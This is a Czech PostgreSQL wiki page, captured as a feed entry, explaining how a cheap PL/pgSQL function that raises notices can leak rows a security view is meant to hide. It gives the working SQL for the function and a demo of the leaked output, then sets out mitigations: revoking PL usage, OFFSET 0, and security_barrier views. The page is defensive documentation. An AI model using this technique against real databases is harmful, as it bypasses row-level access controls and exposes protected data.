http://postgres.cz/api.php?action=feedcontributions&user=192.108.125.15&feedformat=atomPostgreSQL - Příspěvky [cs]2024-03-29T12:46:01ZPříspěvkyMediaWiki 1.36.0http://postgres.cz/index.php?title=Leak_views&diff=515Leak views2012-01-16T12:42:00Z<p>192.108.125.15: fix typo PL/plSQL->PL/pgSQL</p>
<hr />
<div>V případě, že se používají pohledy k omezení přístupu k určitým řádkům, lze zneužít PL/pgSQL (případně PL/Perl) k získání blokovaných dat.<br />
<br />
Postup útoku je relativně jednoduchý - potřebujeme funkci, jejíž parametr je stejného typu jako hodnota, kterou chceme získat, a která vrací logickou hodnotu true. Uvnitř této použijeme ladící výstup pro zobrazení hodnoty parametru. Tato funkce musí mít velice nízkou cenu:<br />
<pre><br />
CREATE OR REPLACE FUNCTION public.fx(integer)<br />
RETURNS boolean<br />
LANGUAGE plpgsql<br />
COST 1e-05<br />
AS $function$<br />
begin<br />
raise notice '%', $1;<br />
return true;<br />
end;<br />
$function$ <br />
</pre><br />
Připravíme si zdrojovou tabulku, která bude představovat chráněná data, a pohled, který bude zpřístupňovat liché řádky:<br />
<pre><br />
create table t(a int);<br />
insert into t select generate_series(1,10);<br />
create view v as select * from t where a % 2 = 1;<br />
</pre><br />
Běžný uživatel bude mít přístup pouze k pohledu v, tj. k lichým řádkům. Pokud útočník kompromituje běžný účet a připraví si funkci fx, pak díky optimalizaci získá obsah sudých řádků. Optimalizátor zjistí, že funkce fx slouží jako filtr a díky nízké ceně se snaží aplikovat tuto funkci co nejdříve - přičemž předběhne funkci, která filtruje obsah podle toho, zda-li je řádek sudý nebo lichý.<br />
<pre><br />
postgres=# select * from v;<br />
a <br />
---<br />
1<br />
3<br />
5<br />
7<br />
9<br />
(5 rows)<br />
<br />
postgres=# select * from v where fx(a);<br />
NOTICE: 1<br />
NOTICE: 2<br />
NOTICE: 3<br />
NOTICE: 4<br />
NOTICE: 5<br />
NOTICE: 6<br />
NOTICE: 7<br />
NOTICE: 8<br />
NOTICE: 9<br />
NOTICE: 10<br />
a <br />
---<br />
1<br />
3<br />
5<br />
7<br />
9<br />
(5 rows)<br />
</pre><br />
Aktuálně se pracuje na "zamčení" definice pohledu, tak aby nebylo možné podstrčit vlastní funkci - problémem je, že uzamčení může mít negativní dopady na výkon. Předpokládá se, že v PostgreSQL 9.2 bude tento nežádoucí chování blokováno. Dokud ovšem tento problém nebude vyřešen, je nutné zajistit:<br />
* běžný aplikační uživatel nesmí mít možnost vytvářet kód v PL - tak aby kompromitace jeho účtu neohrozila db - což je nejjednodušší a efektivní řešení - přičemž se doporučuje pro vytváření uložených procedur a db objektů používat vyhrazený účet - a to jak pro z důvodů konzistence vlastnictví, tak nyní i z důvodů bezpečnostních.<br />
* pokud pro běžný účet nelze blokovat PL, pak dalším řešením je použití klauzule OFFSET 0 ve všech pohledech, které používáme pro filtrování obsahu z důvodu omezení přístupu k datům. Tím ovšem blokujeme i některé možné optimalizace (např. možného použití indexu).<br />
<pre><br />
-- ukazka nefunkcniho zabezpeceni<br />
postgres=# explain select * from v where fx(a);<br />
QUERY PLAN <br />
--------------------------------------------------<br />
Seq Scan on t (cost=0.00..46.00 rows=4 width=4)<br />
Filter: (fx(a) AND ((a % 2) = 1))<br />
<br />
postgres=# drop view v;<br />
DROP VIEW<br />
postgres=# create view v as select * from t where a % 2 = 1 offset 0;<br />
CREATE VIEW<br />
postgres=# explain select * from v where fx(a);<br />
QUERY PLAN <br />
---------------------------------------------------------------<br />
Subquery Scan on v (cost=0.00..46.12 rows=4 width=4)<br />
Filter: fx(v.a)<br />
-> Limit (cost=0.00..46.00 rows=12 width=4)<br />
-> Seq Scan on t (cost=0.00..46.00 rows=12 width=4)<br />
Filter: ((a % 2) = 1)<br />
</pre><br />
<br />
Pokud to je jen trochu možné, tak je použít první typ zabezpečení - pro vyhrazeného aplikačního uživatele zablokovat možnost vytvářet vlastní funkce:<br />
<pre><br />
REVOKE USAGE ON LANGUAGE plpgsql FROM public;<br />
</pre><br />
<br />
Poznamka - tento problém je vyřešen v 9.2 pomocí tzv. bezpečnostní bariéry:<br />
<pre><br />
CREATE OR REPLACE VIEW mysecview5 WITH (security_barrier=true) AS SELECT * FROM x WHERE a % 2 = 0;<br />
postgres=# explain select * from mysecview5 where fx(a) and b between 10 and 30;<br />
QUERY PLAN <br />
--------------------------------------------------------------------------------<br />
Subquery Scan on mysecview5 (cost=0.00..19500.00 rows=8 width=8)<br />
Filter: (fx(mysecview5.a) AND (mysecview5.b >= 10) AND (mysecview5.b <= 30))<br />
-> Seq Scan on x (cost=0.00..19425.00 rows=5000 width=8)<br />
Filter: ((a % 2) = 0)<br />
(4 rows)<br />
</pre><br />
Pro rozumný výkon tento typ pohledů vyžaduje podmíněné indexy s podmínkou odpovídající podmínce v pohledu.</div>192.108.125.15